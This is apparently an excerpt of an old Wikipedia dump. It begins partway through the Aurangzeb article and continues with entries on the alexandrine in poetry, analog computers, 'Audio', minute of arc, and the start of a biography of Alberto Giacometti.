His response led to his death. &lt;!-- The Guru and his diciples were tortured by various methods, boiled alive, burned alive, sawn in half and scalped. It is no suprise that there is such an animosity between Hindus and Sikhs with Muslims. --&gt; At length Guru Tegh Bahadur was arrested and beheaded, giving his life to protect the brahmins. His execution infuriated the Sikhs. In response, his son and successor, [[Guru Gobind Singh]] further militarized his followers. Sikhs engaged in numerous battles against the Mughals, and though often outnumbered, succeeded in gaining more and more territory.

Aurangzeb installed his son [[Bahadur Shah]] as governor of the northwest territories, including Sikh-controlled parts of Punjab. The new governor relaxed enforcement of Aurangzeb's edicts, and an uneasy peace ensued.But Gobind Singh had determined that the Sikhs should actively prepare to defend their territories and their faith. In 1699 he established the [[Khalsa]] a Sikh order of &quot;saint-soldiers&quot;, ready to die for their cause. 

This development alarmed not only the Mughals, but the nearby Rajputs. In a temporary alliance, both groups attacked Gobind Singh and his followers. Facing defeat, Gobind Singh asked Aurangzeb for safe passage from their fort in Andrapuhr. Aurangzeb agreed, but as the Sikhs fled, the Mughals attacked in betrayal of the agreement. 

The Mughals killed all four of Gobind Singh's sons and decimated much of the Sikh army. Only Gobind Singh escaped. Gobind Singh sent Aurangzeb an eloquent yet defiant letter entitled the [[Zafarnama]] (''Notification of Victory''), accusing the emperor of treachery, and claiming a moral victory.

On receipt of this letter, Aurangzeb invited Gobind Singh to meet in Ahmednagar, but Aurangzeb died before Gobind Singh arrived.

==Legacy==

Aurangzeb's influence continues through the centuries, affecting not only India, but Asia, and the world. 

He was the first ruler to attempt to impose Sharia law on a non-Muslim country. His critics, principally Sikhs, Buddhists and Hindus, decry this as intolerance. His supporters, mostly Muslims, applaud him, some calling him a [[pir]] or [[Caliph]].

He engaged in nearly perpetual war, justifying the ensuing death and destruction on moral and religious grounds. His one-pointed devotion to conquest and control based on his personal world-view has continuing resonance in our current world. Even now, political groups of all kinds point to his rule to justify their actions. Without much effort, one can follow a direct line from Aurangzeb to many of the political and religious conflicts of the present day. The influence of the Fatawa-e-Alamgiri on future Islamic governments has been considerable.

Unlike his predecessors, Aurangzeb considered the royal treasury as a trust of the citizens of his empire and that it should not be used for his personal expenses. But his constant warfare drove his empire to the brink of bankruptcy as much as the personal profligacy of earlier emperors had done.

Despite his success in imposing Sharia within his kingdom, he alienated many constituencies, not only non-Muslims, but also native Shias. This led to increased militancy by the Marathas, the Sikhs, and Rajputs, who along with other territories broke from the empire after his death, and to disputes among Indian Muslims. The destruction of Hindu temples remains a source of emotional debate. 

He alienated many of his children and wives, driving some into exile and imprisoning others. At the ebb of his life, he expressed his loneliness, and perhaps, regret. 

In contrast to his predecessors, Aurangzeb left few buildings. He created a modest mausoleum for his first wife, [[Bibi Ka Maqbara]], sometimes called the mini-Taj, in Aurangabad.  He also built in [[Lahore]] what was at the time the largest mosque outside [[Mecca]]: the [[Badshahi Masjid]] ('Imperial' Mosque, sometimes called the 'Alamgiri' Mosque).  He also added a small marble mosque known as the ''[[Moti Masjid]]'' (Pearl Mosque) to the [[Delhi Fort|Red Fort]] complex in Delhi.

Aurangzeb's personal piety is undeniable. He led an extremely simple and pious life. He followed Muslim precepts with his typical determination, and even memorized the [[Qur'an]]. He knitted [[haj]] caps and copied out the [[Qur'an]] throughout his life, and sold these works anonymously. He used the proceeds, and only these, to fund his modest resting place. 

He ruled india with an iron fist, and during his rule none of his decendents dared conspire overthrowing him. He died in [[Ahmednagar]] in [[1707]] at the age of 90, having outlived many of his children. In conformance with his view of Islamic principles, his body rests in an open-air grave in [[Kuldabad]], near [[Aurangabad]]. 

After Aurangzeb's death, there were more than 100 claimants to throne due to his extended rule, and power struggle and infighting, which were characteristics of Mughal dynasty, followed. Eventually, his son [[Bahadur Shah I]] took the throne, but this infighting weakened the Mughal Empire. In addition, Auregzeb's religious intolerance had already alienated the non-Muslim majority, which found no reason to demonstrate allegiance to the Emperor. With hostile subjects, everyday conspiracies, and infighting, the Mughal Empire entered a long decline.

==References==
* ''Delhi'', Khushwant Singh, Penguin USA, Open Market Ed edition, February 5, 2000. ([[ISBN: 0140126198]])
* ''A Short History of Pakistan'', Dr. Ishtiaque Hussain Qureshi, University of Karachi Press.
*  [http://www.sscnet.ucla.edu/southasia/History/Mughals/Aurang2.html Article on Aurganzeb] from MANAS group page, [[UCLA]]
* ''Essays on Islam and Indian History'', Richard M. Eaton. Reprint. New Delhi, Oxford University Press, 2002 (ISBN 019566265-2). -- ''Eaton's essay &quot;Temple Desecration and Indo-Muslim States&quot;, which attempts to comprehend Aurangzeb's motivation in destroying temples, has generated much recent debate''
* ''The Peacock Throne'', Waldemar Hansen (Holt, Rinehart, Winston, 1972). -- ''a very British accounting of Aurangzeb's reign, but filled with excellent references and source material''

==Commentary by recent historians==

===Wolpert===
[[Stanley Wolpert]] writes in his ''New History of India'' ISBN 0195166779 (Oxford, 2003)
:...Yet the conquest of the Deccan, to which [Aurangzeb] devoted the last 26 years of his life, was in many ways a Pyrrhic victory, costing an estimated hundred thousand lives a year during its last decade of futile chess game warfare...The expense in gold and rupees can hardly be accurately estimated. [Aurangzeb]'s moving capital alone- a city of tents 30 miles in circumference, some 250 bazaars, with a 1/2 million camp followers, 50,000 camels and 30,000 elephants, all of whom had to be fed, stripped peninsular India of any and all of its surplus gain and wealth... Not only famine but bubonic plague arose...Even [Aurangzeb] had ceased to understand the purpose of it all by the time he..was nearing 90... &quot;I came alone and I go as a stranger. I do not know who I am, nor what I have been doing,&quot; the dying old man confessed to his son in Feb 1707. &quot;I have sinned terribly, and I do not know what punishment awaits me.&quot;

===[http://www.sscnet.ucla.edu/southasia/index.html Manas] Group, UCLA===
:A year after he assumed power in 1658, Aurangzeb appointed muhtasaibs, or censors of public morals, from the ranks of the ulema or clergy in every large city. He was keen that the sharia or Islamic law be followed everywhere, and that practices abhorrent to Islam, such as the consumption of alcohol and gambling, be disallowed in public...

:It can scarcely be doubted, once the historical evidence is weighed, that the religious policies of Aurangzeb were discriminatory... [L]ittle, if any, evidence has been offered to suggest how far the conversion of Hindus took place, and whether there was any official policy beyond one of mere encouragement that led to the conversion of Hindus. Then, as now, conversion would have been more attractive to the vast number of Hindus living under the tyranny of caste oppression...[T]he kind of inducements that Aurangzeb offered [were not] substantially different from the inducements that modern, purportedly secular, politicians offer...

:Hindus employed...under Aurangzeb's reign rose from 24.5% in the time of his father Shah Jahan to 33% in the fourth decade of his own rule.

==See also==
* [[Mughal empire]]
* [[Emperor of India]]

== External links ==
===Temple destruction===
''[NOTE: Some websites on this controversial subject contain useful reference material, but as their titles often indicate, the information is presented with a non-neutral Point of View]''
*[http://www.frontlineonnet.com/fl1725/17250620.htm Temple Desecration in Pre-Modern India]  -- ''Eaton's web version of his controversial essay referenced above. Part 1 of 2''
*[http://www.frontlineonnet.com/fl1726/17260700.htmTemple Desecration in Indo-Muslim States]  -- ''Eaton's web version of his controversial essay referenced above. Part 2 of 2''
*[http://koenraadelst.bharatvani.org/articles/ayodhya/kashivishvanath.html Why did Aurangzeb Demolish the Kashi Vishvanath?] -- ''Aurangzeb destroyed temple after evidence of crimes''
*[http://www.hindunet.org/alt_hindu/1995_Apr_2/msg00027.html Temple Destruction by Aurangzeb] --  ''Cites multiple edicts issued and Mughal court documents''
*[http://www.sulekha.com/expressions/articledesc.asp?cid=142374 Sanitizing Temple Destruction] -- ''Presents a review of several theories regarding motivation for temple destruction''
*[http://voi.org/books/acat/ch6.htm The details about “Hindu iconoclasm”] -- ''Cites precedents for temple destruction by Hindu rulers''
*[http://www.kashmirherald.com/featuredarticle/aurangzeb.htm Why did Aurangzeb destroy Hindu temples] -- ''Aurangzeb was a [[pir]], motivated by spiritual values, not political or military gain''

===Policies toward non-Muslims===
*[http://www.sscnet.ucla.edu/southasia/History/Mughals/Aurang2.html AURANGZEB: RELIGIOUS POLICIES] -- ''Scholarly and neutral review with good source material''
*[http://www.sscnet.ucla.edu/southasia/History/Mughals/Aurnag_fatwa.html Aurangzeb's Fatwa on Jizya (Jizyah, or Poll Tax)] -- ''Jizya was not blindly applied -- includes the source document which notes exemptions''
*[http://www.sscnet.ucla.edu/southasia/History/Mughals/Aurang3.html Aurangzeb, Akbar, and the Communalization of History]-- ''Suggests that Aurangzeb improved life for non-Muslims''

===Contemporary drama===
* [http://web.nwe.ufl.edu/~esull/restoration/aurengzebe.htm The Tragedy of Aureng-zebe] Text of [[John Dryden]]'s drama, based loosely on Aurangzeb and the Mughal court, [[1675]]

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[[ur:ابو مظف محی الدین محمد اورنگزیب علام گیر]]
[[da:Aurangzeb]]
[[de:Aurangzeb]]
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  <page>
    <title>Alexandrine</title>
    <id>2427</id>
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      <text xml:space="preserve">:''Alternate meaning: [[Alexandrine of Denmark]]''

An '''alexandrine''' is a line of [[Meter (poetry)|poetic meter]]. Alexandrines are common in the [[German literature]] of the [[German literature of the Baroque period|Baroque period]] and in [[List of French language poets|French poetry]] of the early modern and modern periods and much less common in [[English poetry]], which more frequently uses [[iambic pentameter]] or 5-foot verse.

==Syllabic verse==

In [[syllabic verse]], such as that used in [[French literature]], an alexandrine is a line of twelve syllables, often with a [[caesura]] between the sixth and seventh syllables. Alternatively, an alexandrine may be divided into three four-syllable sections by two caesuras.

The dramatic works of [[Pierre Corneille]] and [[Jean Racine]] are typically composed of rhyming alexandrine couplets. (The caesura after the 6th syllable is here marked || )

:Nous partîmes cinq cents ; || mais par un prompt renfort
:Nous nous vîmes trois mille || en arrivant au port 

:(Corneille, ''Le Cid'' Act IV , scene 3) 

[[Charles Baudelaire|Baudelaire]]'s ''Les Bijoux'' (The Jewels) is a typical example of the use of the alexandrine in 19th century French poetry :

:La très-chère était nue, || et, connaissant mon cœur,
:Elle n'avait gardé || que ses bijoux sonores,
:Dont le riche attirail || lui donnait l'air vainqueur
:Qu'ont dans leurs jours heureux || les esclaves des Mores.

Even a 20th century Surrealist, such as [[Paul Éluard]] used alexandrines on occasion, such as in these lines from ''L'Égalité des sexes'' (in ''Capitale de la douleur'') (note the variation between caesuras after the 6th syllable, and after 4th and 8th):

:Ni connu la beauté || des yeux, beauté des pierres,
:Celle des gouttes d'eau, || des perles en placard,
:Des pierres nues || et sans squelette, || ô ma statue

==Accentual verse==

In [[accentual verse]], it is a line of [[iambic]] [[hexameter]] - a line of six feet or measures (&quot;iambs&quot;), each of which has two syllables with an unstressed syllable followed by a stressed syllable.  It is also usual for there to be a caesura between the sixth and seventh syllables (as the examples from [[Alexander Pope|Pope]] below illustrate.  [[Robert Bridges]] noted that in the lyrical sections of ''[[Samson Agonistes]]'', [[John Milton|Milton]] significantly varied the placement of the caesura.

In [[quantitative meter]]s, an iamb comprises a short syllable followed by a long syllable (as in the word ''delay''), and an alexandrine consists of six such short+long feet.
 
In the poetry of [[Edmund Spenser]]'s ''[[The Faerie Queene]]'' 8 lines of pentameter are followed by an alexandrine, the 6-foot line slowing the regular rhythm of the 5-foot lines.

Undoubtedly the most famous alexandrine in the English language is a rhyming [[couplet]] of [[Alexander Pope]]'s, in which the first line is in iambic pentameter and the second line is an alexandrine:

:A needless alexandrine ends the song
:that like a wounded snake, drags its slow length along.

A few lines later Pope continues discussing fast lines:

:Not so, when swift Camilla scours the Plain,
:Flies o'er th'unbending corn and skims along the Main.

The second line of the couplet, a very fast line, is remarkably an alexandrine itself, which Pope just claimed made the line excruciatingly slow.  As [[Paul Fussell]] has said, &quot;It is the literary equivalent of shouting, 'Look! No hands.'&quot;

Alexandrines are sometimes introduced into predominantly pentameter verse for the sake of variety. The [[Spenserian stanza]], for instance, is eight lines of pentameter followed by an Alexandrine. In the [[English Restoration|Restoration]] and eighteenth century, poetry written in couplets is sometimes varied by the introduction of a triplet in which the third line is an Alexandrine, as in this example from [[John Dryden|Dryden]], which introduces a triplet after two couplets: 

:But satire needs not those, and wit will shine
:Through the harsh cadence of a rugged line:
:A noble error, and but seldom made,
:When poets are by too much force betrayed.
:Thy generous fruits, though gathered ere their prime,
:Still showed a quickness; and maturing time
:But mellows what we write to the dull sweets of rhyme.

==Origin==

There is some doubt as to the origin of the name; but most probably it is derived from a [[Alexander Romance|collection of Alexandrine romances]], collected in the 12th century, of which [[Alexander the Great|Alexander of Macedon]] was the hero, and in which he was represented, somewhat like the British [[King Arthur|Arthur]], as the pride and crown of chivalry. Before the publication of this work most of the [[trouvère]] romances appeared in octosyllabic verse. There is also a theory that the form was invented by a [[Alexander of Paris|poet named Alexander]]. The new work, which was henceforth to set the fashion to French literature, was written in lines of twelve syllables, but with a freedom of pause which was afterwards greatly curtailed. The new fashion, however, was not adopted all at once. The metre fell into disuse until the reign of [[Francis I of France|Francis I]], when it was revived by [[Jean-Antoine de Baïf]], one of the seven poets known as [[La Pléiade]].

==References==
*Robert Bridges, [[Milton's Prosody (book)]].
*{{1911}}


[[Category:Poetic form]]

[[cs:Alexandrín]]
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[[es:Verso alejandrino]]
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[[wa:Zandrin]]</text>
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  <page>
    <title>Analog computer</title>
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      <text xml:space="preserve">An '''analog(ue) computer''' is a form of [[computer]] that uses electrical or mechanical phenomena to model the problem being solved by using one kind of physical quantity to represent another.  The central concept among all analog computers can be better understood by examining the definition of an [[analogy]]. The similarities of an analogy define the salient characteristics of the comparison.  But the differences in an analogy are important too.  Modeling a real physical system in a computer is called [[simulation]].

[[Image:ELWAT.jpg|thumb|300px|Polish Analog computer [[ELWAT]].]]

For example, the similarity between linear mechanical components, such as [[spring (device)|spring]]s and [[dashpot]]s, and electrical components, such as [[capacitor]]s, [[inductor]]s, and [[resistor]]s is striking in terms of mathematics, or even direct mapping (as in simulation). They can be modeled using equations that are of the same form.  Or, by direct observation (without the aid of mathematics): e.g., water pressure can be simulated by voltage (electro-motive force), and water flow (gallons per minute) can be simulated by amperes (coulombs per second).

However, the difference between these systems is what makes analog computing useful. Consider a simple mass-spring system. To construct the physical system would require buying the springs and masses, attaching them to each other and an appropriate anchor, collecting test equipment with the appropriate input range, and finally, taking (somewhat difficult) measurements.  

The electrical equivalent can be constructed with a few operational amplifiers ([[Op amp]]s) and some passive linear components; all measurements can be taken directly with an [[oscilloscope]].  In the circuit, the  (simulated) 'mass of the spring' can be changed by adjusting a [[potentiometer]].  The electrical system is an '''analogy''' to the physical system, hence the name, but it is less expensive to construct, safer, and easier to modify.  The all-electronic analog computer is also extremely fast, since a calculation is completed at the rate at which a signal traverses the circuit, which is generally an appreciable fraction of the speed of light.

The drawback of the mechanical-electrical analogy is that electronics are limited by the range over which the variables may vary.  This is called [[dynamic range]].  They are also limited by [[noise (physics)|noise levels]].

There is a lack of understanding about electrical systems that sometimes leades to the terms ''analog'' and ''digital'' having seemingly confusing and somewhat dubious meanings.  Analog systems are sometimes understood only as continuous, time variant electrical systems.  From the above discussion ''this is not correct,'' since discontinuous functions may also be modeled.  In fact, ''digital'' also has a precise technical definition.  In the context of circuits, it refers to the use of binary electrical pulse codes for symbols and ''the manipulation of these '''symbols''''' in the operation of the digital computer.  The electronic analog computer manipulates the physical quantities of (waveforms) of volts or amperes. Consequently, the precision of the analog computer readout (of rational numbers) is limited only by the [[quantization]] of the readout equipment used (generally three or four places).  The digital computer precision is limited by the (necessarily finite) number of symbols which may be used in the calculation itself.

There is an intermediate device, a [[hybrid computer]], in which a [[digital computer]] is combined with an analog computer.  Hybrid computers are used to obtain a very [[accurate]] but imprecise 'seed' value, using an analog computer front-end, which is then fed into a digital computer [[iterative]] process to achieve the final desired degree of [[precision]]. With a three or four digit, highly accurate numerical seed, the total digital computation time necessary to reach the desired precision is dramatically reduced, since many fewer iterations are required. Or, for example, the analog computer might be used to solve a non-analytic differential equation problem for use at some stage of an overall computation (where precision is not very important).  In any case, the hybrid computer is usually substantially faster than a digital computer, but can supply a far more precise computation than an analog computer.  It is useful for [[real-time]] applications requiring such a combination (e.g., a high frequency [[phased-array radar]] or a weather system computation).

Some examples:
* the [[abacus]] is a hand-operated digital computer (but not [[Binary numeral system|binary]]; it is [[biquinary]])
* the [[slide rule]] is a hand-operated analog computer
* early [[gun director]]s used mechanical analog computers to direct gunnery fire

== How analog computers work ==
Computations are often performed, in analog computers, by using properties of electrical resistance, voltages and so on. For example, a simple two variable adder can be created by two [[current source]]s in parallel. The first value is set by adjusting the first current source (to say ''x'' [[milli]][[ampere]]s), and the second value is set by adjusting the second current source  (say ''y'' milliamperes). Measuring the current across the two at their junction to signal ground will give the sum as an current through a resistance to signal ground, i.e., ''x''+''y'' milliamperes. (See [[Kirchhoff's circuit laws|Kirchhoff's current law]]) Other calculations are performed similarly, using [[operational amplifier]]s and specially designed circuits for other tasks. 

The use of electrical properties in analog computers means that calculations are normally performed in [[real time]] (or faster), at a significant fraction of the speed of light, without the relatively large calculation delays of digital computers. This property allows certain useful calculations that are comparatively &quot;difficult&quot; for digital computers to perform— for example numerical integration. These computers can integrate— essentially calculating the integral of a (nondiscrete) voltage waveform, usually by means of a [[capacitor]], which accumulates charge over time.

[[Nonlinear]] functions and calculations can be constructed to a limited precision (three or four digits) by designing [[function generator]]s— special circuits of various combinations of [[capacitance]], [[reactance]], [[electrical resistance|resistance]], and variable current (e.g., [[Zener diode|Zener]]) diodes. Generally, a nonlinear function is simulated by a nonlinear waveform whose shape varies with voltage (or current).  For example, as voltage increases, the total [[impedance]] may change as the diodes successively permit current to flow.

Any physical process which models some computation can be interpreted as an analog computer. Some examples, invented for the purpose of illustrating the concept of analog computation, include using a bundle of [[spaghetti]] as a model of ''sorting numbers''; a board, a set of nails, and a rubber band as a model of finding the ''[[convex hull]] of a set of points;'' and strings tied together as a model of ''finding the shortest path in a network.'' These are all described ''in'' A.K. Dewdney (see [[#Reference|citation]] below).

== Analog computer components ==
Analog computers often have a complicated framework, but they have, at their core, a set of key electrical components which perform the calculations, which the operator manipulates through the computer's framework:

* [[potentiometer]]s
* [[operational amplifier]]s
* [[integrator]]s
* fixed-[[function generator]]s

The core mathematical operations used in an electric analog computer are:

* [[summation]]
* [[additive inverse|inversion]]
* [[exponentiation]]
* [[logarithm]]
* [[integration]] with respect to time
* [[differentiation]] with respect to time
* [[multiplication]] and [[division]]

Differentiation with respect to time is not frequently used. It corresponds in the frequency domain to a high-pass filter, which means that high-frequency noise is amplified.

== Limitations ==
In general, analog computers are limited by real, non-ideal effects.  An analog signal is composed of four basic components: DC and AC magnitudes, frequency, and phase.  The real limits of range on these characteristics limit analog computers.  Some of these limits include the [[noise floor]], [[non-linearity|non-linearities]] and [[Microelectronics|parasitic effects]] within semiconductor devices, and the finite charge of an [[electron]].  Incidentally, for commercially available electronic components, ranges of these aspects of input and output signals are always figures of merit.

Analog computers, however, have been replaced by digital computers for almost all uses. It may be stretching a point to regard some physical simulations such as [[wind tunnel]]s as analog computers, because the data so obtained must then also be scaled, for example, for [[Reynolds number]] and [[Mach number]]. There is a point of view in physics based on [[information processing]] which attempts to map the physical [[process]]es to [[computation]]s. Thus, from these points of view, the wind tunnel data gathering is either an [[experiment]] or a [[computation]].

== Current Research ==
While digital computation is extremely popular, research in analog computation is being done by a handful of people worldwide. In the United States, [[Jonathan Mills]] has been working on research using Extended Analog Computers. At the [[Harvard Robotics Laboratory]], analog computation is a research topic.

== Practical analog computers ==
These are examples of analog computers that have been constructed or practically used:
* [[nomogram]]
* [[The MONIAC Computer|Moniac computer]]
* [[astrolabe]]
* [[operational amplifier]]
* [[planimeter]]
* [[mechanical integrator]]
* [[Torquetum]]
* [[Tide predictor]]s
* [[Water integrator]]
* [[Target Data Computer]]
* [[Norden bombsight]]
* [[Hydraulic model of UK economy]]
* the [[Antikythera mechanism]]
* and the [[slide rule]]

[[Analog synthesizer]]s can also be viewed as a form of analog computer, and their technology was originally based on electronic analog computer technology.

== Idealized analog computers ==
Computer theorists often refer to idealized analog computers as [[real computer]]s (so called because they operate on the set of [[real number]]s). Digital computers, by contrast, must first [[quantize]] the signal into a finite number of values, and so can only work with the [[rational number]] set (or, with an approximation of irrational numbers).

These idealized analog computers may ''in theory'' solve problems that are [[intractable]] on digital computers; however as mentioned, in reality, analog computers are far from attaining this ideal, largely because of noise minimization problems.  Moreover, given ''unlimited'' time and memory, the (ideal) digital computer may also solve real number problems.

== Reference ==
* A.K. Dewdney. &quot;On the Spaghetti Computer and Other Analog Gadgets for Problem Solving&quot;, ''Scientific American'', 250(6):19-26, June 1984. Reprinted in ''The Armchair Universe'', by A.K. Dewdney, published by W.H. Freeman &amp; Company (1988), ISBN 0716719398.

== See also ==
*[[signal (information theory)]]
*[[signal (computing)]]
*[[set theory]]
*[[Computability theory (computation) | computability theory]]
*[[differential equation]]
*[[dynamical system]]
*[[chaos theory]]
*[[slide rule]]

== External links ==
* [http://www.vaxman.de/analog_computing/analog_computing.html Lots of documentation about analog computers as well as detailed descriptions of some historic machines]
* [http://www.play-hookey.com/analog/ Analog computer basics]
* [http://www.yorku.ca/sasit/sts/sts3700b/lecture20a.html Lecture 20:  Analog vs Digital] ''(in a series of lectures on &quot;History of computing and information technology&quot;)''
* [http://www.eetimes.com/story/OEG19981103S0017 Analog computer trumps Turing model]
&lt;!-- * [http://dcoward.best.vwh.net/analog/ Doug Cowards's Analog Computer Museum] Removed because his definition of a digital computer as a (strictly) sequential computer is incorrect!  There have been many parallel processing digital computers which have been designed and built— word parallel and bit sequential— which can process thousands of operands in parallel, (e.g., for searching, as in the IBM Digital Address Translator (DAT) box or Goodyear's MPP http://citeseer.ist.psu.edu/context/40653/0).--&gt;
* [http://www.cs.indiana.edu/~jwmills/ANALOG.NOTEBOOK/klm/klm.html Jonathan W. Mills's Analog Notebook]
* [http://www.cs.indiana.edu/Facilities/hardware/extended_analog_computer/ Indiana University Extended Analog Computer]
* [http://hrl.harvard.edu/analog/ Harvard Robotics Laboratory Analog Computation]

[[Category:Computer architecture]]
[[Category:History of computing]]

[[cs:Analogový počítač]]
[[de:Analogrechner]]
[[es:Ordenador analógico]]
[[fr:Calculateur analogique]]
[[nl:Analoge computer]]
[[ja:アナログコンピュータ]]
[[pl:Komputer analogowy]]
[[pt:Computador analógico]]
[[ru:Аналоговая вычислительная машина]]
[[sv:Analogdator]]
[[uk:Аналоговий комп'ютер]]</text>
    </revision>
  </page>
  <page>
    <title>Audio</title>
    <id>2429</id>
    <revision>
      <id>41350709</id>
      <timestamp>2006-02-26T19:54:04Z</timestamp>
      <contributor>
        <username>GilliamJF</username>
        <id>506179</id>
      </contributor>
      <comment>+de, nl</comment>
      <text xml:space="preserve">'''Audio''' can mean:
*[[Sound]] that can be heard.
*[[Audio frequency]] signals in frequencies audible to humans (about 20&amp;ndash;20,000&amp;nbsp;Hz).
*[[Broadcasting]] or reception of sound.
*High-fidelity [[sound reproduction]].
*[[Sound recording]] and reproduction in general.
*&quot;I hear&quot; in [[Latin]].

''[[Audio (Blue Man Group)|Audio]]'' is also the debut album of the [[Blue Man Group]].

'''Audible''' can also refer to:
*[[Audible.com]], an online audiobook store.
*In [[American football]], &quot;calling an audible&quot; refers to a tactic where the [[quarterback]] decides to change the play at the line of scrimmage before the snap by calling additional signals. This is usually done if the quarterback notices changes in the opposing team's defensive setup on the field.

{{disambig}}

[[Category:Sound]]
[[de:Audio]]
[[nl:Audio]]</text>
    </revision>
  </page>
  <page>
    <title>Minute of arc</title>
    <id>2431</id>
    <revision>
      <id>39049334</id>
      <timestamp>2006-02-10T10:07:50Z</timestamp>
      <contributor>
        <username>MHD</username>
        <id>457371</id>
      </contributor>
      <comment>added merge tag &lt;-- arcsecond</comment>
      <text xml:space="preserve">{{mergefrom|arcsecond}}

A '''minute of arc''', '''arcminute''', or '''MOA''' is a unit of [[angle|angular measurement]], equal to one sixtieth (1/60) of one [[degree (angle)|degree]]. Since one degree is defined as one three hundred and sixtieth (1/360) of a circle, 1 MOA is 1/21600 of the amount of arc in a closed circle, or (&amp;pi;/10800) [[radian]]s. Its usage is limited to those fields which require a handy unit for the expression of very small amounts of arc, such as [[astronomy]]. The symbol for marking the arcminute is the [[prime (mark)|prime]] (&amp;#8242;) (&lt;code&gt;U+2032&lt;/code&gt;, &lt;code&gt;&amp;amp;prime;&lt;/code&gt;). One arcminute would be 1&amp;#8242; (or 1''&amp;#39;'').  It is also abbreviated as '''arcmin''', or less commonly the prime with an arch over it (&lt;math&gt;\hat {'}&lt;/math&gt;), or '''amin'''.

The subdivision of the minute of arc is the [[arcsecond]].

==Uses==
===Firearms===
This unit is commonly found in the [[firearms]] industry and literature, particularly that concerning high-powered [[rifle]]s. It is popular because 1 MOA almost exactly subtends one [[inch]] at 100 [[yard]]s, a traditional distance on [[Shooting range|target ranges]]. A shooter can easily readjust his or her rifle [[telescopic sight|scope]] simply by measuring the distance in inches the bullet hole is from the desired impact point, and adjusting the scope that many MOA in the opposite direction. Most target scopes designed for long distances are adjustable in quarter (1/4) or eighth (1/8) MOA &quot;clicks&quot;. One eighth MOA is equal to approximately an eighth of an inch at 100 yards or one inch at 800 yards.

Sometimes, a firearm will be &quot;measured&quot; in MOA. This simply means that under ideal conditions, the gun is capable of repeatedly producing a group of shots that fit into a circle, the diameter of which can be subtended by that amount of arc. (E.g.: a &quot;1 MOA rifle&quot; should be capable, under ideal conditions and when locked into a [[vise]], of shooting a 1-inch group at 100 yards.) However, ideal performance in a [[ballistics]] lab is often very different from real-world results.

===Cartography===
Minutes of angle (and its subunit, seconds of angle or SOA&amp;mdash;equal to a sixtieth of a MOA) are also used in [[cartography]] and [[navigation]]. At [[sea level]], one minute of angle equals about 1.15 [[mile]]s or 1.86 [[kilometre|km]], approximately one [[nautical mile]] (approximately, because the [[Earth]] is slightly [[oblate]]). In humans, the ability to resolve a spatial pattern separated by a visual angle of one minute of arc is considered normal [[visual acuity]].
			
Traditionally positions are given using degrees, minutes, and seconds of angles in two measurements: one for [[latitude]], the angle north or south of the [[equator]]; and one for [[longitude]], the angle east or west of the [[Prime Meridian]]. Using this method, any position on or above the face of the Earth can be precisely given. However, because of the somewhat clumsy base-60 nature of MOA and SOA, many people now prefer to give positions using degrees only, expressed in decimal form to an equal amount of precision. Degrees, given to three decimal places, give almost as much accuracy as degrees-minutes-seconds.

===Astronomy===
Similarly to cartography above, [[astronomy]] also uses the arcminute.  It is worth noting that degrees (and therefore arcminutes) are used to measure only [[declination]], or angular distance north or south of the [[celestial equator]].  

[[Category:Units of angle|Arcminute]]

[[da:Bueminut]]
[[de:Bogenminute]]
[[et:Minut (geomeetria)]]
[[es:Minuto de arco]]
[[fr:Minute d'arc]]
[[ko:분 (각도)]]
[[nl:Boogminuut]]
[[ja:分 (角度)]]
[[no:Bueminutt]]
[[pt:Minuto de arco]]
[[zh:角分]]</text>
    </revision>
  </page>
  <page>
    <title>Albert Archilles</title>
    <id>2432</id>
    <revision>
      <id>15900845</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>Zundark</username>
        <id>70</id>
      </contributor>
      <comment>redirect to Albert III, Margrave of Brandenburg</comment>
      <text xml:space="preserve">#REDIRECT [[Albert III, Margrave of Brandenburg]]</text>
    </revision>
  </page>
  <page>
    <title>Alberto Giacometti</title>
    <id>2433</id>
    <revision>
      <id>41480558</id>
      <timestamp>2006-02-27T17:21:46Z</timestamp>
      <contributor>
        <username>Lacky-fu</username>
        <id>864436</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Alberto Giacometti''' ([[October 10]], [[1901]] &amp;ndash; [[January 11]], [[1966]]) was a Swiss  [[Sculpture|sculptor]] and [[painter]]. Giacometti was talented in four mediums &amp;mdash; sculpture, painting, drawing and printmaking.

==Artistic analysis==

Giacometti was a key player in the Existentialist movement. Some would describe his work as [[Formalism (art)|Formalist]], but others might argue it is [[Expressionism (art) | Expressionist]] or otherwise having to do with what [[Gilles Deleuze | Deleuze]] would call 'blocs of sensation' (as in Deleuze's analysis of [[Francis Bacon (painter) |Francis Bacon]]). Even after his excommunication from the [[surrealism|Surrealist]] group, while the intention of his sculpting was usually imitation, the end products were undoubtedly an expression, not of the physical form of the subject, but of his emotional response to it. He attempted to create renditions of his models the way he saw them, and the way he thought they ought to be seen.

&quot;All the sculptures of today, like those of the past, will end one day in pieces... So it is important to fashion ones work carefully in its smallest recess and charge every particle of matter with life.&quot;

Giacometti Sculptures, Tudor Publishing, NY, 1964

==Biography==

&lt;!-- Image with unknown copyright status removed: [[Image:Giacometti.jpg|thumb|150px|right|Alberto Giacometti.]] --&gt;

While having been born in Borgonovo in [[Val Bregaglia]], [[Switzerland]] near the Italian border, Alberto Giacometti spent most of his childhood in the nearby town of Stampa. His father was a Swiss Impressionist who encouraged his son's interest in sculpture.

After finishing high school, Giacometti moved to [[Geneva]] to attend the School of Fine Arts. In 1922 he moved to Paris to study at the [[Académie de la Grande Chaumière]] in [[Montparnasse]] under [[Auguste Rodin]]'s associate, the sculptor [[Antoine Bourdelle]]. It was there that Giacometti experimented with the [[cubism|cubist]] method. Drawn more to the [[surrealist]] movement, after his brother, Diego Giacometti, joined him as his assistant by 1927 Alberto displayed his first surrealist sculptures at Salon des Tuileries. Before long, he was regarded as one of the leading surrealist sculptors of the day.

[[Image:ThreeMenWalkingII.JPG|thumbnail|left|250px|''Three Men Walking II'']]

Living in the creative community of [[Montparnasse]], he associated with artists [[Joan Miró]], [[Max Ernst]] and [[Pablo Picasso]], plus writers [[Samuel Beckett]], [[Jean-Paul Sartre]], [[Paul Eluard]] and [[André Breton]], and wrote and drew for Breton's magazine ''[[Le Surréalisme au Service de la Révolution]]''.

From 1935 to 1940 Giacometti concentrated his sculpting on the human head, focusing on the model's gaze, followed by a unique artistic phase in which his statues became stretched out &amp;mdash; their limbs elongated.

During [[World War II]], he lived in the safety of Geneva where he met Annette Arm. In 1946 he and Arm returned to Paris where in 1949 they married. Giacometti's most productive period followed the marriage. His wife provided him with the opportunity to constantly to be in touch with another human body, particularly a feminine one. Models who had posed for him found it a difficult job, but Arm patiently sat for him for hours until he achieved what he wanted. 

